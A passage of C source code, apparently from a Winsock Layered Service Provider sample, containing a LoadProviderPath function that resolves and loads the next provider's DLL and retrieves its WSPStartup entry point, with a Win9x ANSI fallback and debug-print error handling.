end eaConfig()
// // Function: LoadProviderPath // // Description: // This function retrieves the provider's DLL path, expands any environment // variables, loads the DLL, and retrieves it's WSPStartup function. // BOOL LoadProviderPath( PROVIDER *loadProvider, int *lpErrno ) { int rc; *lpErrno = 0; // Retrieve the provider path of the lower layer loadProvider->ProviderPathLen = MAX_PATH - 1; rc = WSCGetProviderPath( &loadProvider->NextProvider.ProviderId, loadProvider->ProviderPathW, &loadProvider->ProviderPathLen, lpErrno ); if ( SOCKET_ERROR == rc ) { dbgprint("LoadProviderPath: WSCGetProviderPath failed: %d", *lpErrno ); goto cleanup; } rc = ExpandEnvironmentStringsW( loadProvider->ProviderPathW, loadProvider->LibraryPathW, MAX_PATH - 1 ); if ( ( 0 != rc ) && ( MAX_PATH-1 >= rc ) ) { loadProvider->Module = LoadLibraryW( loadProvider->LibraryPathW ); if ( NULL == loadProvider->Module ) { dbgprint("LoadProviderPath: LoadLibraryW failed: %d", GetLastError() ); goto cleanup; } } else if ( 0 == rc ) { char ProviderPathA[ MAX_PATH ], LibraryPathA[ MAX_PATH ]; // No UNICODE so we must be on Win9x rc = WideCharToMultiByte( CP_ACP, 0, loadProvider->ProviderPathW, loadProvider->ProviderPathLen, ProviderPathA, loadProvider->ProviderPathLen, NULL, NULL ); if ( 0 == rc ) { dbgprint("LoadProviderPath: WideCharToMultiByte failed: %d", GetLastError() ); goto cleanup; } rc = ExpandEnvironmentStringsA( ProviderPathA, LibraryPathA, MAX_PATH - 1 ); if ( ( 0 == rc ) || ( MAX_PATH - 1 < rc ) ) { dbgprint("LoadProviderPath: ExpandEnvironmentStringsA failed: %d", GetLastError() ); goto cleanup; } loadProvider->Module = LoadLibraryA( LibraryPathA ); if ( NULL == loadProvider->Module ) { dbgprint("LoadProviderPath: LoadLibraryA failed: %d", GetLastError() ); goto cleanup; } } // Retrieve the next provider's WSPSTartup function loadProvider->fnWSPStartup = (LPWSPSTARTUP) GetProcAddress( loadProvider->Module, "WSPStartup" ); if ( NULL == loadProvider->fnWSPStartup ) { dbgprint("LoadProviderPath: GetProcAddress failed: %d", GetLastError() ); goto cleanup; } return TRUE; cleanup: if ( *lpErrno == 0 ) *lpErrno = GetLastError(); return FALSE; }